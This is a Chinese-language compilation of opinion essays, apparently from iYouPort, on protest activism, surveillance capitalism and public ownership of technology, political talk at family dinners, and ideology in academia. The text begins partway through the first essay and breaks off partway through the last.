在印度的 Shaheen Bagh，来自工人阶级背景的穆斯林妇女和男子，其中许多是临时工， 他们离开自己工作岗位和家庭，进行了近一个月的静坐。全国各地都有来自类似背景的人参与到抗议活动中 —— 因为他们决定自己不能再忍受了。他们没有时间像特权精英那样在社交媒体上装模作样地喊口号。当生命和生活受到威胁时，就像 NRC-CAA 所构成的那种威胁，“方便” 已经无法再成为考虑因素。

4、“抗议等于放弃了改革的可能性，要是当权者能主动做得更好呢？”

「图」

前半句话是对的，但后半句不对；任何当权者都不可能去主动做得“更好”，他们只有在民众施加最强大的压力下才有可能做出一点改变。

活动家的动员必须能指出根源性的问题 —— 比如：

- 数据泄露的根源是数据收集，没有无耻的大规模收集就不会有泄漏的威胁。所以抵抗数据泄露的运动不应该是寻求当权者对加强数据保护的承诺，而是，要彻底打破监视资本主义。就如 Shoshana Zuboff 所指出的 ：“人们一直在讨论一个7岁的孩子一天应该工作多少个小时，而不是童工是否合理”；
- 警察对边缘社区的偏见和暴力来自于 “情报主导型警务” 的算法暴政，如果不能制止算法暴政，仅仅改革警察部门是没有用的，暴力依旧会存在；
- 能满足香港人诉求的是北京，而不是香港政府，如果北京感受不到抗议的压力，反抗者的愿望就无法得到满足。

如果活动家和知识分子的论述联合起来，能够让人们清楚地理解到能够解决问题的东西究竟是什么，人们的行动就会具有准确的针对性。

人们就不会被当权者虚伪的改革承诺所蒙骗。

“反抗者的思考方式”，这是IYP不断强调的短语，它包含着非常多的内涵，您需要亲自领会。我们在内容安排上会尽可能贴近反抗者的思考，不论是文章还是推荐书籍，但最终依旧需要您来理解它们，将它们转变为您的能量。

最后

「图」

加入抗议运动并不是容易事，它需要您具备很多东西 —— 克服不便的意志、应对警察暴力的技巧、心理健康问题、创造力和智慧 ……全世界的反抗者并不是为了好玩才这样做的，他们之所以出现，是因为他们感到自己处于不利地位，受到政府的威胁，因为他们对现状感到无望，他们是被痛苦和忍无可忍的愤怒赶到了街头。

抗议意味着民众对当权者已经失去了信心，他们已经认识到必需自己动手。抗议的存在是为了唤醒人们：等待是没有未来的。

就如我们在年终对话中强调的，每一场抗议都很重要，每个人都很重要，不要强调一次性的胜利，更不要鼓励牺牲；只要有足够多的人保持清醒的头脑和拒绝服从，最终就一定能获得成功。〇

原文

如果技术属于人民呢？ - iyouport

为自由而战系列（完成）互联网自由-Resist社会反抗和思考

【2020年11月12日存档】这篇文章希望使用*直接行动*的思考方式，以抵制监视资本主义寡头为例，引导公民思考变革的途径

自疫情开始以来，苹果、Alphabet、亚马逊、Facebook 和微软的价值已经增加了超过**1.7**万亿美元。这究竟是因为这些公司提供了人们“需要” 的技术，还是因为它们享有一系列的垄断权力，确保了在一个巨大的不确定性时期获得更大的财富和控制权 ……

有这么多人被困在家里，这些互联网优先的公司当然有能力在大流行期间提供关键服务。

但是，他们的财富都是通过利用世界上一些最脆弱的人群的劳动来实现的 —— 每时每刻不停地提取并出售用户的数据，获得大量的税收优惠，以及以各种其他方式利用经济和政治体系中的巨大弱点来达到目的。

随着经济和社会的崩溃，这些庞大的公司 —— 在 “正常” 时期已经是垄断企业 —— 如今正在变得更加不可一世。

对于这些公司和它们的技术，一方面，它们促进了前所未有的连接，解决了曾经难以解决的物流挑战，但是，另一方面，正是它们造成了经年累月广泛的痛苦，公民该如何应对？能否让这些技术 —— 无论是算法还是它们的数据集 —— 都服从于建立更公平的社会秩序的目的？简单说，能不能创造出一种技术完全由使用它的人所拥有、其主要目的是真正地帮助人类，而不是为把1%攫取财富？

- 《数字技术究竟是会杀死民主，还是拯救民主？：这个10年》

数字化和私有化

「图」

这个社会的数字化是一种积极的私有化形式。

早在《数字资本主义》一书中，Jathan Sadowski 就将智能技术定义为 “嵌入数字技术以进行数据收集、网络连接和增强控制的技术”。

- 在这里看到他的新书《被流行语掩盖着的 *技术专制主义* 时代》

Sadowski 以智能牙刷为例。这些产品会记录你刷牙的详细数据，并将这些数据发送到某个制造商或第三方维护的云服务器上，然后你和你的牙医可以通过某个应用程序来访问这些数据，不仅可以指导和监控您的刷牙情况，还可以对其进行评分。不难想象，在这个世界里，这些数据也会被出售，或者被牙科保险公司分析，用来计算你的月保险费 —— 现在它已经实现了。

如果我们更广泛地审视保险业的数字化，很快就会发现一个典型的例子，足够说明数据提取和监控技术的使用是如何成为问题的。

在这里，数字系统不仅放大了该行业作为 “私人生活监管机构的最大来源之一” 的记录，而且被部署在改变保险的逻辑及其对社会的影响上。公司希望根据个人的每一个行动的连续数据流来单独评估风险，而不是通过为政策选择提供信息和为需要帮助的人提供某种互助的总水平来评估风险。

正如 Sadowski 所阐述的那样，这里的操作原则很明确。“保险公司必须承担的任何风险都是潜在的损失，保险公司必须支付的任何索赔都是利润的损失，防止这种损失意味着控制风险和索赔的源头：就是客户本身”。

有像 The Floow 这样的初创公司，根据从您手机上收集的数据（GPS、加速度计、屏幕时间等）来分配司机的所谓 “安全分数”，预测事故风险。也有像 Progressive 这样的保险公司，在汽车上安装监视设备，详细记录您如何以及何时超速和刹车、您是否在所谓的 “危险” 街区或在奇怪的时间开车，并确保你的保险费与你的 “危险” 行为相匹配。

还有一些像微软这样的大公司，与家庭保险公司等大型保险公司合作，目的是把你的家变成另一台联网电脑，里面装满了其他联网设备，不断地把数据流传回保险公司。

- 推荐《你家冰箱如何作为呈堂证供？》

保险公司可能会坚持认为，这样的制度会更“公平”，他们觉得这样更准确地反映出个性化的风险，但实际上他们只是在重新定义公平这个词。而不是“将风险分散到整个人口中，以对冲生活的变幻莫测”，人们被要求相信“任何人都不应为集体利益承担任何费用或风险”。

- 《个人主义和集体主义》

这是一种监视和控制的形式，向人们推销的是对个人的好处，只要个人遵守由公司和算法决定的非常严格的规则 —— 即“如果你没有什么可隐瞒的，你就没有什么可担心的”，它现在覆盖您生活的每一个方面，您拥有的每一件产品，您做的每一件事。

- 《“没什么可隐藏的”—这个愚蠢的反人权论调从何而来？》

这种思路是在以公平的名义为歧视做辩护并提出要求 —— 使不正当和不平等的后果成为想象，因为在这种新的逻辑下它们是“公平的”。这代表了想象力的巨大失败，这些技术的部署是为了强化不平等的覆盖现状，而不是“将更好的覆盖范围扩大到更广泛的人群，减少阻碍社会繁荣发展的集体不安全感”。

但是，这一切都不足为奇，正如 Astra Taylor 所写道的那样，资本主义是“一种不安全的机器”；我们的体制“通过设计破坏稳定：市场力量使社区覆没，并使旧的生活方式瓦解”。

Taylor 解释说，动荡和不安全感并不是什么新奇的事物，“安全性”是“古老的概念和理想”，但是，数字技术允许更大的动荡和剥夺，从而可以实现更高水平的私人所有权和投资。资本主义的不安全机制具有广泛而深远的影响。

为了说明这一点，Taylor 解释了如何在房屋中使用监视和控制：

“不透明的信息收集和预测分析系统为新形式的歧视和红线提供了便利，将某些人群标记为犯罪威胁，或将他们引导到次贷金融服务、掠夺性抵押贷款和剥削性租赁市场，增加了住房的不安全性”。

大企业利用大规模的驱逐和取消赎回权，导致2008年黑人和棕色人种借款人和房主受到的影响更大。这些取消抵押品赎回权的行为“为新的算法驱动的土地掠夺打开了空间”，让机构投资者买下危机期间收回的财产。随后，新的数字技术浪潮应运而生，不仅为投资者简化了这一过程，而且加深了最初造成抵押贷款危机的旧的歧视性等级制度。

算法根据“社区的可取性、是否靠近就业中心、交通便利性、社区设施、建筑类型以及所需的持续资本需求”来决定购买哪些房产。其他算法则决定完全锁定某些人群 —— 或者将他们纳入其中，以便更好地利用他们，实现超额回报。

将所有这些算法联系在一起的是，它们是如何通过确保对某些 *被认为* “风险过高”的人口的处分权，来保证投资（和特权居民）的利益。

数字化使那些拥有巨额资本的人能够用基于监视、控制和算法的新暴政系统取代旧的压迫性系统。

- 更多内容见 列表-1 “算法暴政”

一系列网络平台针对大量的原子化个人以操控人们的日常生活，这些人仅仅被视为市场上的消费者，为住房和保健等商品竞价，而不是拥有某些权利和人权的公民。它还使公司能够以私人化的公共产品扰乱旨在帮助大众的公共产品，这些产品除了扩大规模和保持市场支配地位之外没有其他动机。

考虑一下打车公司 Uber。它的平台让它在与现有的交通方式（地铁、公交车）竞争时、以及在无视法规的情况下（与出租车服务竞争时，完全无视监管）而发展得如此之大。Uber 的数据提取产生了关于司机和乘客如何使用其该平台的见解，使该公司有更多的筹码以削弱竞争对手，并留住司机和客户，这与公共交通的目标完全相悖 —— 目标本该是确保普及和最大限度的覆盖。

> It is within cities we will have the best luck in building viable alternatives that use digital technologies to take transportation (and other services) out of the hands of the market.

请注意，这种走向监视和控制的行动正在所有行业中发生。它的特点是，反竞争、享受大量补贴、并积极寻求改写法规，以进一步巩固其权力。

这意味着，很少有初创企业有真正赚钱的打算，它们更注重规模、控制、市场主导权和监管捕获。

它们得到了风险资本家的大量补贴，这些资本家乐于接受数百万或数十亿美元的损失，希望一旦它们实现垄断，最终就能够提高价格或以

其他方式将消费者货币化，从而迅速赚回它们通过人为压低价格摧毁竞争对手所花费的所有资金。

有些人可能会对这一发展持积极态度。写出《大数据》一书的奥地利法律学者 Viktor Mayer-Schönberger 认为，“现在少数有远见的公司正在采集和分析的大量数据，将产生新的商业模式，并摧毁现有的商业模式……”。

他的第二本书《大数据时代重塑资本主义》则更加雄心勃勃，他写道：“一旦[大数据]在整个经济中得到有效利用，大数据不仅会重塑资本主义……而且会终结资本主义” 即取代价格体系。

但是，我们看到的现状却是，当大数据破坏价格体系时，它最终会促进一个狭隘的资本家阶层的利益，而不是重塑这个体系。市场上数字技术的激增创建了一个无法确定真实成本的系统 —— 我们比任何时候都更接近苏联的Gosplan中央计划型体制的继承人。

- 《为什么必需拒绝大数据—— 监视之恶（二）公私监控伙伴关系》

技术可以成为大众的吗 —— 以Uber为例

「图」

未来的重要问题是，我们能否设计出一个更好的系统来取代现有的系统。广义上讲，技术有能力改善广大民众的生活。但迄今为止，硅谷部署科技的方法是为了从弱势群体身上攫取财富，利用无尽的风险投资压低其他企业的成本，并控制、监视和货币化大众的行为。我们需要非市场化的、民主化的替代品。

与其让Uber这样的打车公司让交通变得更加糟糕、因产品定价过低而损失无穷、并给工人支付贫困水平的工资 …… 我们应该渴望建立一个免费的、人人都能使用的交通系统，最大限度地覆盖乘客，同时确保司机和运营商的公平工作条件。

如果你需要去某个地方，你不应该担心自己是否能够负担得起。

如果你想在交通领域找到一份工作，就不应该担心在拥有这份工作的同时是否能够维持生计。

我们还应该渴望采用能从根本上减少城市污染、交通拥堵和事故的交

通方式，同时尽量减少那些不能做到这点的交通方式。对汽车和私人交通的过度依赖，实际上决定了我们的社区和城市的规划方式。

很难想象有哪个城市能够认真地与腰缠万贯的大公司的相提并论 —— 或者说在获得计算资源的能力方面与其相媲美，无论是谷歌、亚马逊还是 Uber。

实际上，亚马逊的 HQ2 奇观 —— 当百余个城市抢着说服世界上最富有的人把他们自己的的后院落脚的时候 —— 不禁令人怀疑，即使是城市联盟也很可能无法挑战一家公司。

然而，在城市中，我们将有可能找到使用数字技术将运输（及其他服务）从市场手中夺走的可行替代方案。

首先要做的就是夺取乘客和司机在Uber平台上产生的数据。欧洲司机已经在起诉，要求获取 Uber 算法产生的关于他们的数据，但这还不够。这些数据需要被当地、州或联邦当局查封，或者将其共享作为获得运营许可的条件。

在Uber最大的一些市场，正出现不可思议的机会能做到这点。在加州，Uber 和 Lyft 威胁说，如果他们的司机被重新归类为雇员，他们就会退出；在伦敦，Uber即将失去运营执照，监管当局可能会以交出Uber的数据为条件 —— Uber自己也在IPO申请文件中承认，没有这些城市它很可能无法生存。

巴塞罗那一直在进行这样的实验，UCL教授、西班牙政府的长期技术顾问 Francesca Bria 多年来一直帮助巴塞罗那率先进行这样的努力。

在那里，数字技术不仅被用来扩大参与式民主，让公民积极创造政府议程，而且防止“智能城市”成为典型的趋势。

- 《被俘虏的城市：为什么人们会接受可怕的军管？》

一方面，这意味着与技术公司签订的合同中添加附带条款，要求数据要么归公众所有，要么归政府实体所有；另一个方面，Bria 认为，这涉及到创建一个新的数字基础设施，让人们了解自己正在产生什么数据，“他们想要分享什么数据，与谁分享，基于什么，用来做什么”。

这也意味着我们需要争论私营公司是否可以说他们能全权拥有收集和解释数据（而不仅仅是产生数据）的仪器 —— 也就是有关的传感器和算法。毕竟，如果不能使用这些数据，更不用说让这些数据变得有意义，那么这些从Uber那里缴获或强行交出的数据又有什么用呢？

城市需要找到某种方式来获得分析这些数据（取代那些暗箱算法）所需的计算资源，以便适当地监管或模仿其服务。

最直接的想法可能是简单地公有化例如 Uber 的平台，以公共利益为目的进行运营。但是，**Uber** 平台本身及其算法的设计，完全是为了实现公民不感兴趣的结果：增加对私人交通的需求，增加司机数量以减少等待时间，增加乘客数量以增加收入，从而增加污染和拥堵。

最后一个问题是，需要管理多少东西。我们应该使用数字技术来强制执行严格的统一性、还是鼓励对普遍性和特殊性的问题进行多样化的试验和解决？不同的城市在交通系统上有明显不同，不同的人口结构引导着交通模式，不同的城市组成决定了交通可能在哪里流动或不在哪里流动，以及完全不同的地理环境。

在一个受城市扩张影响的地方，要减少车辆拥有量与交通量，可能需要与大量人口为通勤者的城市不同的公共选择。城市和城市空间应该是独特的，因为很多东西都是有意义的，人们决定或拒绝收集的数据也应该是独特的。

最终，政府和公共团体不能寻求简单地模仿 Uber 或亚马逊或 Facebook 或谷歌，因为这些寡头服务从一开始就被设计为将用户货币化为提取财富的机器。而具体到 Uber，它的诞生就是为了用私人交通取代大众交通。民主化必须建立一些完全不同的东西。

数字技术不需要与公司甚至市场捆绑在一起，它们可以服从于创建明确的非市场形式的社会协调的任务。

公民必须摆脱那些把这些技术和相关机构描绘成市场和资本主义活动必然性的说法。不必在中央计划经济和市场经济之间作出选择。我们可以选择其他的东西，即使不确定它将是什么样子。事实上，如果真的要减少这个世界的歧视和不安全程度 —— 这正是目前的数字技术部署在市场上的特点，而不是一个错误 —— 就必须积极地进行实验来找到方法。〇

What If Technology Belonged to the People?

原文

家庭餐桌上的政治议题 - iyouport

社会反抗和思考

【2019年9月26日存档】你愿意和家人讨论政治吗？我想绝大多数年轻人都会说”不”。曾经有调查显示，在北美，平均每4秒钟就有一个年轻人因为父母的”不开化”而大喊大叫。但为什么会这样？人们宁愿在社交媒体上讨论也不愿意在现实中进行，这说明什么？自由民主政治要求我们学会彼此接触，现在民主出了什么问题？

你愿意和家人讨论政治吗？我想绝大多数年轻人都会说“不”。曾经有调查显示，在北美，平均每4秒钟就有一个年轻人因为父母的“不开化”而大喊大叫。虽然这个统计数据找不到来源了，但是你知道，我们都了解丰富的案例能证明这种倾向的存在。

在忙碌的一天结束后，一家人终于可以坐在一起共进晚餐了，结果却是……因为不同意见而发生激烈的争吵。

难道我们不应该在餐桌上谈论政治话题吗？为保护隐私剪去了发布者的*ID*。从转发和点赞数量中您能发现，这种情况可能比较常见

政治和宗教话语的禁忌源于社会学家 Norbert Elias 曾经称之为文明进程的东西—从中世纪开始的长达数百年的转变，个人的习惯、态度和内部倾向，最终导致了二十一世纪的礼仪和文明观念。

换句话说，从礼貌的谈话中排除这些令人吃惊的晚餐对话就如避免决斗一样，并且使得今天许多人不仅很少见证暴力，甚至厌恶参与到这些话题中。

这条格言也与自由主义有着特殊的关系。为了防止对不同宗教信仰的无休止的流血事件，像 J. S. Mill 这样的早期自由主义者“发明了“公共和私人领域的分离。

在“论自由”中，Mill 认为，虽然公共领域应该是公民可以审议公共事务的空间，但在自由社会中，每个人都有权享有私人领域，在这个领

域中人们可以相信他们想要的东西，并按照自己的意愿表达自己。

今天人们普遍承认，国家和其他任何人都没有权利强迫你相信某些事，也无权抢占你的空闲时间。宗教和道德信仰是私有化的：也就是说，它们成为属于个人良知的事物，属于私人领域。

我们理所当然地认为这种区分遍及我们生活的方方面面。请注意，为了在餐厅用餐、旅行、购买杂货、或享受商业服务，您无需透露有关您的政治或宗教信仰的任何信息。为了享受自由社会的利益，你必须通过道德试金石。这是道德和宗教私有化的副产品：通过使这些事项成为私有，持有截然不同的政治和宗教承诺的公民可以（理论上）在相对和平中共存。

因此，社会主义者，自由主义者，福音派和无神论者都可以一起吃饭、工作和享受闲暇时间，只要他们不违法。当然，今天的公民有机会在选举时间以支持他们的候选人的形式公开自己的信仰，但是，在其他时候，人们普遍认为一个人的政治和道德信仰是私事。

如今简单翻查一下 Facebook 就能发现，有无数人在张贴自己的政治表达和宗教宣传。这一事实似乎挑战了前面的说法。但社交媒体的普遍政治化在很大程度上反映了当代自由民主国家缺乏可用空间来进行充满活力的民间政治或宗教对话这一事实。

由于自由社会中道德和宗教的私有化，人们可以选择是否参与公共（政治）事务。自由公民不需要随时知情、政治参与或投票；可以完全自由地忽略与公共生活相关的所有事。虽然当然受法律限制，但仍可以自由地追求我们可以想到的任何计划。

当早期的自由主义者争论这个私人自由的领域时，他们假设有权参与民主治理的权利—对社会如何运作发表意见—是一种很少有人会放弃的特权。我们目睹了一种渐进的但明确的文化转变：从对公共生活的关注转向以私人追求为中心的转变。结果是，让人们关心公共生活变得越来越困难。《nobody cares 的背后究竟是什么》

也许社交媒体的政治化反映了极少数真正关心政治的人的绝望尝试，让他人在生活中倾听自己的想法？除了社交媒体、独立新闻和大学教室之外，自由社会中很少有空间让外行人有机会讨论政治和宗教。

那么，社会媒体的过度政治化可能仅仅反映了自由民主社会中宗教和政治话语的禁忌范围越来越大？如果是这样，那么公共和私人领域的分割似乎是一把双刃剑：虽然它实现了持有不同（甚至是对立的）道

德和宗教信仰的个人之间的和平共处，但同时也很难找到适当的空间来审议共同利益。

尽管新闻报道可能会受到政治话语的困扰，但大多数人都没有花时间参与政治事务—他们正在忙着追求自己的私生活，享受自由主义所带来的个人自由。

这并非全是坏事。有一种真正的感觉，例如，缺乏选民投票率，尤其是青年投票率，是社会稳定和成功的标志，而不是消亡。当一切都很好的时候，人们没有理由参与政治，甚至讨论政治。而在危机和灾难期间，政治激情才会普遍飙升，所以在某些方面我们应该心存感激。

但是，以牺牲公共生活为代价，越来越关注私人生活也会存在缺陷。

首先，正如政治学家 Robert Putnam 所观察到的那样，公民参与已经大大减少，公民聚集在一起讨论公共生活的空间越来越少。

其次，人们感到彼此孤立和疏远，自恋变得猖獗。

第三，让人们把时间和精力投入到公共事业中，或者对社会公正问题感兴趣是很困难的。在这里，餐桌问题变得更加重要。《从掰玉米的熊到阿喀琉斯之踵（一）数字时代的空虚寂寞冷》

避免政治和宗教作为餐桌主题从根本上讲是希望保持气氛融洽。过热会导致愤怒，可能导致暴力。

但是今天这些话题通常不会因为预防暴力而被避开，因为我们不希望任何人抑制情绪。我们努力工作，不想在休假期间受到打扰。

此外，正如 Barbara Ehrenreich 不久前所说，我们生活在一种积极性—功利性的文化中，在这种文化中，负面情绪和激发它们的主题被视为没有价值。

因此，社会不公正、种族、宗教和不平等等主题通常不受欢迎，因为它们会扰乱人们在文化上培养的积极动力。

这一点在家庭生活中最为明显。对于大多数人来说，家庭生活是神圣的：它是一个自我表达和自我表露、情感亲密的空间。当我们与家人在一起时，会感到有一种责任，需要意见一致、充满爱心和快乐。

没有人愿意成为一个通过让别人感到尴尬或开始争论来破坏家庭聚会的人。那绝不是受欢迎的态度。

当家庭生活成为一种以亲属为基础的意识形态掩体时，问题就出现了，它将自己与所有潜在的威胁或令人不安的想法隔离开来。和谐的家庭生活是好事，但并不是唯一的好事。

生活在一个公正健康的社会中也是好事，一个围绕自己建立边界墙的家庭，以避开任何可能扰乱其正面共鸣的东西，它忽略了这一点。

有些人可能认为餐桌不适合进行此类讨论。好的，然后呢？自由公共生活为这些讨论提供了很少的明显渠道。在我们的积极文化中，从来没有时间提出有争议的话题，为什么不在餐桌上这样做呢？家庭聚餐可以作为政治讨论的有用平台。

如果您无法与家人讨论这些主题，那么您可以与谁一起讨论这些主题？家庭关系是最深的：受血缘关系、而不是互惠互利维系，家庭关系应该能够容忍激烈的讨论而不会分手。如果您的家人中有完全不同的政治观点，晚餐可以作为练习聆听彼此并试图了解不同观点的好时机。

如果极化时代的特点是增加部落主义，我们的家庭成员，鉴于我们对他们作为家庭的忠诚，可以鼓励我们质疑长辈并检查自己的盲点。自由民主要求拥有完全不同的良好社会观念的个人能够和平地表达不同意见。（《“我永远正确”背后的动机》）

这需要纪律和忍耐。我们应该首先与家人一起培养这种民主美德。尽管提供了自由，但自由民主要求政治参与和知情的公民自己来维持。今天依旧很少人认识到这一点。自治权（包括个人权利和政治权利）并不是一种特权，而是一种责任。家庭聚餐可以作为亲人讨论共同利益的场合，从而参与民主的实践。

获得自由民主的国家需要大部分人口都了解并采取行动反对社会弊病和不公正现象。权利不会从天而降，也无法被任何人赋予，权利只能亲手去争取。

虽然完全非政治性的家庭聚餐—— 人们有意识地避开所有有争议的话题，肯定是不好的，但是它的反面也一样不好：那些纯粹政治化的家庭聚餐，其中政治是唯一讨论的话题，结果是，其间每个人都努力表现出自己对“团队”的忠诚……这不可能有任何有意义的辩论。在最极端的情况下，在这样的晚宴上，每一个笑话和评论都会通过政治正确和社会正义的镜头进行过滤。

您希望有一个愉快的家庭晚餐是完全可以理解的。我的意思是，考虑

到现在每个人都很忙碌，这种情况多久发生一次？当你忙于工作时，为什么还要冒险参与辩论？你理所当然地觉得你应该享受一个相对平静的夜晚，散落着偶尔的笑声和集体回忆。但是，如果不允许任何家人讨论这些话题，你认为社会如何变得更好？

你的激情是令人钦佩的，我当然不会怀疑你的信念，但必须明白，你不可能用那种语气赢得任何人。你发出的声音越高，听者就越少。

政治两极分化不仅仅是存在的东西。它就在我们的社区和家庭中，甚至就在我们的餐桌上。

尽管存在分歧，但自由民主政治要求我们学会彼此接触。

鉴于我们可以参与审议公共事务的场所如此稀缺，我认为没有理由认为餐桌不能成为民事辩论的潜在场所。有必要认真地这样做。我们的家庭和社会的利益取决于民主辩论的积极尝试。〇

原文

对学术界的威胁：语言游戏与意识形态 - iYouPort

为什么社会反抗和思考

有很多语言游戏可用。有些服务于建设性的目的-例如当我们提供真诚善意或支持性的话语时；然而，其中一些语言游戏则旨在操纵受众并促进邪恶的意识形态。它是如何威胁和愚弄我们的？

被称为哲学界的 Kanye West，Ludwig Wittgenstein 是一个有争议的人物。但他为逻辑哲学\语言哲学、心灵哲学和数学哲学都做出了贡献。

维特根斯坦是一个奇怪的、神秘的人—他的写作更像是诗歌而不像是哲学。讲课的时候他从来不使用笔记，相反，他经常以一种有条不紊的方式思考自己摆在学生面前的问题，通常使用一系列的例子来梳理结论。他对哲学问题和窘境的解释与当时的大多数哲学家都不同。

然而，谈到语言，维特根斯坦的解释远没那么深奥。对他来说，言语是一种活动，更重要的是，它是一种生活方式—事实上，这就是赋予它意义的东西。对于维特根斯坦来说，当语言失败时人们就会变得懒惰，反之当我们使用语言来进一步推进特定的议程时，问题就会出现，特别是如果这些议程与客观事实背道而驰的话。

有很多语言游戏可用。有些服务于建设性的目的—例如当我们提供真诚善意或支持性的话语时；然而，其中一些游戏则旨在操纵受众并促进邪恶的意识形态。

词语创造了概念：好与坏，天堂与地狱，神灵与恶魔。用让·巴蒂斯特·吉拉德（Jean Baptiste Girard）的话说就是，“通过语言，我们学习思想，通过思想，我们学习生活。”人们使用的语言为意识形态的建构奠定了基础。从体育到宗教，从政治到学术，意识形态显然发挥着非常深远的影响。

意识形态令人上瘾。虽然，与成瘾不同，意识形态是一种基于信念的动态，而不是神经化学过程，它需要不断强化和补充。但就像其他物质戒断一样，意识形态的退缩是一个痛苦的过程，其症状包括烦躁，疲劳，失眠，头痛和无法正视自己。

人们常常深陷与他人沟通中的激烈方式，特别是在政治和学术界。人们为什么要如此冲动的争论呢？坐下来以更明智的方式讨论我们的分歧是不是太难了？是的，非常难。部落主义似乎在其中发挥了作用；而另一个非常重要的因素就在于：人们彼此间正在玩非常不同的语言游戏。

这些零和游戏有自己的一套规则。在意识形态战争中，妥协就是承认失败。真想在此是最先失败的，直接被扔进了后备箱里。

在孤立的学术圈内，意识形态上瘾者通过与其他信徒交流和合作从而获得认可和加强。意识形态验证满足了两个基本需求：信心和目的。

一种持续的怀疑状态会对一个人的思想产生腐蚀性的影响—— 人类需要以最佳方式运作的目的，而过多的怀疑则阻碍了这一点。意识形态成瘾似乎提供了这个目的; 瘾君子的行为受到满足意识形态瘙痒需要的指导。

社会建构主义理论家认为人类发展的是社会上的地位，几乎没有生物或进化影响的空间。这种意识形态提供了‘目的’，因为信徒（经常表现出福音派的热情）感到自己需要被迫捍卫和促进意识形态，并呼吁在现实世界中表现出来。这种意识形态的吸引力非常强大。如果一个人可以随时放弃成瘾，并且感到没有身体、精神或情绪方面的压力，那么，显然，此人根本就没上瘾。

然而，意识形态成瘾是一种绝对的游戏，是一种全有或全无的存在状态。这就像是湖人队或快船队的球迷：你不可能两个都是。

有这样的情感和精神投入，信徒们就会相信自己的意识形态观点不仅仅是正确的观点，而是唯一的观点。这往往会导致几乎不可动摇的信念。显然，这事比宗教信仰要强大得多。

关于意识形态中毒，部分可以通过外群体同质性效应来解释。基本上，我们倾向于认为自己群体的成员是独特的、特殊的存在，而其他群体中的成员则是单一信仰系统中的同质块。换句话说，我们过分简化了、刻板印象了并贬低了其他群体。通过将本群体之外群体描绘成“顽固不化的”其他群体，就可以不再需要将其成员视为个体。

由此，我们就可以默认自己的偏见。将其他人视为无定形的实体比将其视为一组独特的生物要容易得多。

佛教徒相信我们的思想会创造现实。如果意识形态影响我们的思想，那么，显然，意识形态塑造了我们的现实。无论是否错误的观念都可以控制现实。绝大多数人都确信他们正在进行政治斗争—敌人就是同质部落的闯入者。

在美国2018年，一项具有全国代表性的研究发现，15%的共和党人和20%的民主党人认为，如果对方的人民不复存在，美国会更好。几十年来，社会科学家一直认为，党派偏见的影响会因交叉遭遇而减少，这种交往提供了一种共同点，一个政治对手可以抛开分歧并看到可合作的地方。如果一个富裕阶层的民主党人和一个工人阶级的共和党人都参加同一个教会，那么，每周至少有四十五分钟，他们可以把彼此的分歧留在大门外，并以社区的名义走到一起。

然而，要知道，在流行指责的时代里，将个人分类到特定部落这事已经大大减少了任何交叉关系的可能性。

如今所有人生活在一个彼此怀疑对方的时代，这些基本上没有道理的怀疑加强了狭隘的忠诚。

在政治和学术界，意识形态的两极分化引发了危险的言论和可疑的理论。这是一个令人困惑的生存时刻：充满主观真理、美德信号和戏剧性的反弹。而这种反动的文化现象并不是什么新鲜事。启蒙运动强调的睿智和科学方法激发了浪漫主义运动，人们转向直觉、自然和超自然现象。我们各自现在生活在*自己的*浪漫（或非浪漫）时期，在这个时期里，个人真理比实际真理更重要吗？学术界提供了答案。

当然，教育比无知更有帮助。当然，应该大力鼓励对教育的追求。至少，这就是我们所有人谈论教育的方式。嗯，这实际上取决于我们的教育方式。

今天，意识形态和语言游戏已经占据了主导地位。人们正在学习，但学的什么？以文学理论为例，它解释了为什么三十名学生阅读同一本书，然后在学期结束时写论文，每个人都争论一个单独的案例，以说明文本的真正含义。这是一个由理论家、作家和哲学家构建的思想流派，它提供主观模板，允许个人以任何自己喜欢的方式解释文本。

基本上，通过应用最好的理论设备，个人可以争辩说该文本基本上就是在说出自己想说的话。以 Mary Shelley 的“Frankenstein”为例。受

理论影响的读者可能会看到 Victor Frankenstein 的创作，一个丑陋的但有智慧的生物，作为毒性阳刚之气的物理体现。不幸的是，这些用于观看文本的镜头现在正被应用于科学和现实的基本原则。

为了理解世界，社会建构主义者参与了肮脏的语言游戏，一心想要剔除生物学上的理解，这些理解能通常支撑着我们对种族、性别和性取向进行更谨慎的思考，建构主义者正在忙着重写科学词汇。以性为例。通常，性被认为是生物学事实。身体分为两类—男性和女性—具有不同的染色体，生殖系统，激素和性特征。然而，根据女权主义法教授 Julie Greenberg 在十九世纪末和二十世纪初指出的，她的生殖功能被认为是女性的特征。医学界决定卵巢的存在与否是决定性别的最终标准。很容易理解为什么一些怀疑论者认为性差异是由医学专业人士推动的异性恋假设产生的，其中大多数是男性，从而使性成为父权制的一种结构。真理的基本原则似乎在意识形态上是武器化的。

学术文化表面上是指导教育者如何教学的文化、和学生如何采取批判性的方式思考，但如今它已被教条化的甚至狗哨化的东西所覆盖了。正如 Michael Gurian 在“拯救我们的孩子”中所指出的那样，尽管社会上有许多有权势的男人但也不能因此认为男性能比女性做得更好。世界卫生组织在2015年强调了这一点，在一份报告中指出，白人女性往往有更好的健康，更高的成绩，更高的大学毕业率，在家庭和学校也都比白人男性更安全。这一结果同样适用于非洲裔美国人，美洲原住民，拉美裔和亚裔美国男性和女性的比较。如果这些报告被学术界轻易忽视，那么学术诚信遭受如此严重的打击还奇怪吗？

2016年有一篇关于性别理论与气候变化的论文，题为“冰川、性别与科学—全球环境气候变化的女权主义冰川学框架”，由俄勒冈大学的历史学家团队共同撰写，并获得国家科学基金会的资助。这里是该论文的摘要：

冰川是气候变化和全球环境变化的关键标志。然而，性别，科学和冰川之间的关系—特别是与关于冰川学知识生产的认识论问题之间的关系—仍未得到充分研究。因此，本文提出了一个女权主义的冰川学框架，其中包括四个关键部分：*1*）知识生产者;（*2*）性别科学和知识;（*3*）科学统治体系;（*4*）冰川的替代表称。将女权主义后殖民科学研究与女权主义政治生态学相结合，女权主义的冰川学框架在动态的社会生态系统中产生了对性别、权力和认识论的有力分析，从而导致更公正和公平的科学和人与人之间的相互作用。

这篇论文充满了语言上的地雷。这里有一个非常具体的语言游戏，其中作者使用旨在引发读者内心反应的令人回味的流行语。显然，像这

样的论文旨在针对特定的受众。诸如殖民主义、边缘化、男性主义话语等术语，以惊人的频率出现，被用作语言设备，旨在吸引读者，事实上更多吸引的是情感而不是逻辑。

女权主义和后殖民主义理论展示性别和殖民主义如何交织在一起，以及女性和土著人民在历史上如何被排斥，如何相互促进和协调。而女权主义冰川学似乎是女权主义后殖民研究的一个突变。新冰川学家不再满足于对性别动态的分析，他们声称替代知识可以解释冰川学活动。

